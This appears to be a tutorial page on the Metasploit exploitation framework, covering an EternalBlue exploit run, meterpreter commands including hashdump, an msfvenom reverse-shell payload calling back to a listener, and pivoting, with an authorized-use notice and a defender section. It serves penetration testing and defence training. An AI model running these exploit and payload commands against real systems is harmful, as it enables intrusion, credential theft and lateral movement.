arsenal/metasploit

metasploit

exploitation framework · BSD

Turn a known weakness into a proven, repeatable finding. The framework that standardised exploits, payloads, and post-exploitation.

Authorized use only. Run these only on systems you own or have explicit written permission to test. Full notice at the foot of the page.

01Install

Metasploit is a large framework. Install it from your distribution where it is packaged, or use the official nightly installer for the freshest modules. The first run initialises its database, covered next.

$ sudo emerge net-analyzer/metasploit # Gentoo

$ sudo apt install metasploit-framework # Debian / Kali

$ # Fedora / others: official installer from github.com/rapid7/metasploit-framework

02What the framework gives you

Metasploit is a framework, not a single exploit. It provides a common structure for three things that used to be ad hoc: exploits (the way in), payloads (what runs once you are in, most famously the meterpreter shell), and post-exploitation modules (what you do next). Everything shares the same options system, so once you learn the pattern, every module works the same way. The value is standardisation and repeatability: a finding you can demonstrate the same way twice, and hand to someone else to reproduce.

↑ contents

03Starting msfconsole

Initialise the database once (it tracks hosts, services, and loot across a session), then launch the console. The database is worth setting up; it turns scattered results into a queryable record of the engagement.

$ sudo msfdb init

$ msfconsole

04Finding a module

search finds modules by name, CVE, platform, or type. use selects one; info shows what it does and needs. The naming tells you the kind: exploit/, auxiliary/ (scanners and tools), post/ (post-exploitation), payload/.

$ search eternalblue

$ use exploit/windows/smb/ms17_010_eternalblue

$ info

05Setting options and running

Every module exposes options you set with set; show options lists them and which are required. RHOSTS is the target, LHOST and LPORT are where a reverse payload calls back. check tests whether the target looks vulnerable without firing; exploit runs it. Always check first when a module supports it.

$ show options

$ set RHOSTS 10.0.0.20

$ set LHOST 10.0.0.5

$ check

$ exploit

↑ contents

06Living in a meterpreter session

meterpreter is an in-memory payload with a rich command set: browse and move files, dump hashes, screenshot, pivot. It runs in memory to stay quiet. A few commands cover most first steps on an authorized host.

$ sysinfo

$ getuid

$ hashdump

$ shell

07Generating payloads with msfvenom

msfvenom builds standalone payloads outside the console: an executable, a script, a web shell that calls back to your handler. You pair it with a listener (the multi/handler module) to catch the session. On your own lab this is how you test what a delivered payload would do and whether your defences catch it.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o test.exe

$ use exploit/multi/handler

$ set PAYLOAD windows/x64/meterpreter/reverse_tcp

$ set LHOST 10.0.0.5

$ run

08Pivoting

Once you have a session on one host, metasploit can route traffic through it to reach networks you could not touch directly, which is how an attacker moves from a foothold to the inside. On your own segmented lab, practising this shows exactly why flat networks are dangerous and segmentation matters.

$ run autoroute -s 10.0.1.0/24

$ # now scanners and exploits can reach 10.0.1.0/24 through session 1

↑ contents

09What metasploit teaches a defender

Metasploit modules map almost one to one onto defensive priorities. Every exploit has a patch; every post module has a detection or a hardening. Running an authorized test against your own lab shows you both what an intrusion looks like on the wire and in logs, and which of your controls actually fire.

» Patching is the direct answer to the exploit catalogue; EternalBlue above was patched before it was ever famous. Known-vulnerable and unpatched is how hosts fall.

» meterpreter runs in memory and uses encrypted callbacks; EDR and egress filtering are what catch it, so test whether yours do.

» Segmentation defeats pivoting; a foothold on one host should not reach your whole network.

» Use your authorized runs to validate detection: did the SOC see the session, the hashdump, the lateral move.

↑ contents

10Feed nmap in, track the hosts

Metasploit has a database behind it. Run its own scanner and the results, hosts, services, and open ports, are stored and queryable, so a long engagement stays organised instead of scattered across terminals. Workspaces keep separate jobs apart.

$ db_nmap -sV 10.0.0.0/24

$ hosts

$ services -p 445

$ workspace -a client-x

11Juggling sessions

Every shell or meterpreter you open is a session. List them, drop into one, and background it to keep working elsewhere. A plain command shell can often be upgraded to a full meterpreter in place.

$ sessions -l

$ sessions -i 1

$ background

$ sessions -u 2

12Automate with resource scripts

Repeated setup belongs in a resource script, a file of console commands Metasploit runs in order. Global options set with setg save typing the same LHOST into every module. Together they turn a repeatable test into a single command.

$ setg LHOST 10.0.0.5

$ setg RHOSTS 10.0.0.20

$ msfconsole -r setup.rc

» A resource script that loads your handler and options makes re-entering an engagement instant, and keeps your setup consistent between runs.

↑ contents